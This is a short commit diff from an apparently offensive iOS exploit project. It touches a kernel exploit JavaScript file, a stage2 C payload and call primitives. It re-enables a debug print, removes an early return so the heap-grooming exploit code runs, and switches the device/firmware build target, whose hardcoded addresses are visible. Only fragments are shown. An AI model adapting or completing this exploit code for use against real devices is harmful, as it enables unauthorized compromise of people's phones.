summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorspv420 <spv@spv.sh>2022-07-27 15:34:46 -0400
committerspv420 <spv@spv.sh>2022-07-27 15:34:46 -0400
commit945e95ff5d79a6ce50035820777659d4be2c2e53 (patch)
treee2fa365d60241f81b1877858dfa87a3d6af8354a /src
parent78f091946f222a268fe0c5c3075a31b9771db188 (diff)
backup
Diffstat (limited to 'src')
-rw-r--r--src/gen/stage2.c2
-rwxr-xr-xsrc/js/kexp/exploit.js1
-rw-r--r--src/js/primitives/call.js2
3 files changed, 2 insertions, 3 deletions
diff --git a/src/gen/stage2.c b/src/gen/stage2.c
index 7e611c8..64aeec8 100644
--- a/src/gen/stage2.c
+++ b/src/gen/stage2.c
@@ -219,7 +219,7 @@
} while (0)
#define PRINT_STILL_HERE() do { \
-/* CALL_1ARG(base + printf_addr, 0x109000); */\
+ CALL_1ARG(base + printf_addr, 0x109000); \
} while (0)
uintptr_t get_dyld_shc_slide(void) {
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index 6992b6d..7ec7cc3 100755
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -454,7 +454,6 @@ again: while (true) {
release_port_ptrs(read_u32(fp + (i << 2)));
}
- return;
var arrmpt = shit_heap(8);
write_u32(arrmpt, 0);
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index e38026f..760ca40 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -1,7 +1,7 @@
var N94AP_13G37 = 0x0;
var N78AP_13G36 = 0x1;
-var build_for = N94AP_13G37;
+var build_for = N78AP_13G36;
if (build_for == N94AP_13G37) {
var __stack_chk_fail_lazy_addy = 0x346afc48;